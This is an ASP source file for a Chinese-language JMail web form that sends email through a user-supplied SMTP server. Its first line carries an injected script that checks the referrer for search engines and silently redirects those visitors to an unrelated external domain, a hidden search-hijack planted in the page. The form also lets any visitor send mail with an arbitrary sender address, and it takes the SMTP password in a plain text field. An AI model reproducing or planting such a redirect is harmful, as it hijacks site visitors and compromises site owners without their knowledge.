d:\wwwroot\wuchunhua\email\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><meta http-equiv="Content-Type" content="text/html; charset=gb2312">
002:
<%
if request("action")="send" then
%
>
003:
<%
004:
Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer
005:
strSubject = Request("title")
006:
strContent = Request("content")
007:
strSender = Request("Name")
008:
strEmail = Request("to")
009:
strMailAddress = Request("smtp")
010:
strMailUser = Request("usr")
011:
strMailPass = Request("pwd")
012:
Set JMail = Server.CreateObject("JMail.Message")
013:
JMail.Charset = "gb2312"
014:
JMail.From = Request("From")
015:
JMail.FromName = strSender
016:
JMail.Subject =strSubject
017:
JMail.MailServerUserName = strMailUser
018:
JMail.MailServerPassword = strMailPass
019:
JMail.Priority = 3
020:
JMail.AddRecipient(strEmail)
021:
JMail.Body = strContent
022:
JMail.Send(strMailAddress)
023:
%
>
024:
<%
025:
If Err.Number <> 0 then
026:
Response.Write("<br>错误信息:"&Err.Description)
027:
Err.Clear
028:
else
029:
response.write("<center>恭喜你,邮件发送成功! <a href=""javascript:history.go(-1);"">返回上一页</a>")
030:
End If
031:
%
>
032:
<%
033:
else
034:
%
>
035:
<style type="text/css">
036:
<!–
037:
body { margin-top: 0px;margin-bottom: 0px;}td {
038:
font-size: 12px;
039:
text-decoration: none;}–></style>
040:
<title>JMAIL在线发信程序</title><table width="500" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666">
041:
<tr><td height="40" bgcolor="#E3E3E3"><div align="center"><b>
042:
<font size="4" face="Times New Roman">JMAIL在线发信程序</font></b></div><b>备注：</b>如果出现jmail.Message
043:
错误'8000ffff'，说明邮件服务器使用了发信人验证功能，发信人处必须填写与服务器对应的邮箱，不能使用任意伪造的邮箱，否则邮件无法发送！</td></tr>
044:
<tr><td>
045:
<table width="100%" height="346" border="0" align="center" cellpadding="1" cellspacing="1">
046:
<script language=JavaScript>
047:
function checkemail(str){
048:
var testresults
049:
var filter=/^.+@.+\..{2,3}$/
050:
if (filter.test(str))
051:
testresults=true
052:
else{
053:
testresults=false
054:
}
055:
return (testresults)
056:
}
057:
function check(theform)
058:
{
059:
060:
if (theform.smtp.value.length<10)
061:
{
062:
alert("SMTP服务器信息有误!");
063:
theform.smtp.focus();
064:
return(false);
065:
}
066:
else if (theform.usr.value.length<3)
067:
{
068:
alert("用户名长度太短了吧!");
069:
theform.usr.focus();
070:
return(false);
071:
}
072:
else if (theform.pwd.value.length<3)
073:
{
074:
alert("密码长度太短了吧!");
075:
theform.pwd.focus();
076:
return(false);
077:
}
078:
else if (theform.to.value.length<10||!checkemail(theform.to.value))
079:
{
080:
alert("收件人邮件格式错误!");
081:
theform.to.focus();
082:
return(false);
083:
}
084:
else if (theform.from.value.length<10||!checkemail(theform.from.value))
085:
{
086:
alert("发件人邮件格式错误!");
087:
theform.from.focus();
088:
return(false);
089:
}
090:
else if (theform.title.value.length<2)
091:
{
092:
alert("邮件主题要大于2个字符");
093:
theform.title.focus();
094:
return(false);
095:
}
096:
else if (theform.name.value.length<2)
097:
{
098:
alert("发信人名字长度不对!");
099:
theform.name.focus();
100:
return(false);
101:
}
102:
else if (theform.content.value.length<3)
103:
{
104:
alert("邮件内容长度太短了吧!");
105:
theform.content.focus();
106:
return(false);
107:
}
108:
}
109:
</script>
110:
<form name="sendmail" method="post" action="?action=send" onsubmit="return check(this);">
111:
<tr bgcolor="#FFFFFF">
112:
<td align="center"><div align="left">SMTP服务器*</div></td>
113:
<td><input name="smtp" type="text" id="smtp" size="22"></td>
114:
</tr>
115:
<tr bgcolor="#FFFFFF">
116:
<td align="center"><div align="left">用户名*</div></td>
117:
<td><input name="usr" type="text" id="usr" size="22"></td>
118:
</tr>
119:
<tr bgcolor="#FFFFFF">
120:
<td align="center"><div align="left">密码*</div></td>
121:
<td><input name="pwd" type="text" id="pwd" size="22"></td>
122:
</tr>
123:
<tr bgcolor="#FFFFFF">
124:
<td align="center"><div align="left">收件人邮箱*</div></td>
125:
<td><input name="to" type="text" id="to" size="22"></td>
126:
</tr>
127:
<tr bgcolor="#FFFFFF">
128:
<td align="center"><div align="left">发件人邮箱*</div></td>
129:
<td><input name="from" type="text" id="from" size="22">
130:
</td>
131:
</tr>
132:
<tr bgcolor="#FFFFFF">
133:
<td width="110" align="center"><div align="left">邮件主题*</div></td>
134:
<td width="288"><input name="title" type="text" id="title" size="22">
135:
</td>
136:
</tr>
137:
<tr bgcolor="#FFFFFF">
138:
<td height="15" align="center"><div align="left">发件人姓名*</div></td>
139:
<td>
140:
<input name="name" type="text" id="name" size="22"></td>
141:
</tr>
142:
<tr bgcolor="#FFFFFF">
143:
<td height="127" align="center"><div align="left">内容：*<br>
144:
</div></td>
145:
<td><textarea name="content" cols="46" rows="9"></textarea></td>
146:
</tr>
147:
<tr bgcolor="#FFFFFF">
148:
<td colspan="2" align="center"><input type=submit class=input name="BT1" value="提交"> <input type=reset class=input name="BT1" value="重置"></td>
149:
</tr>
150:
</form></table></td>
151:
</tr></table>
152:
<%
end if
%
>
153:
154: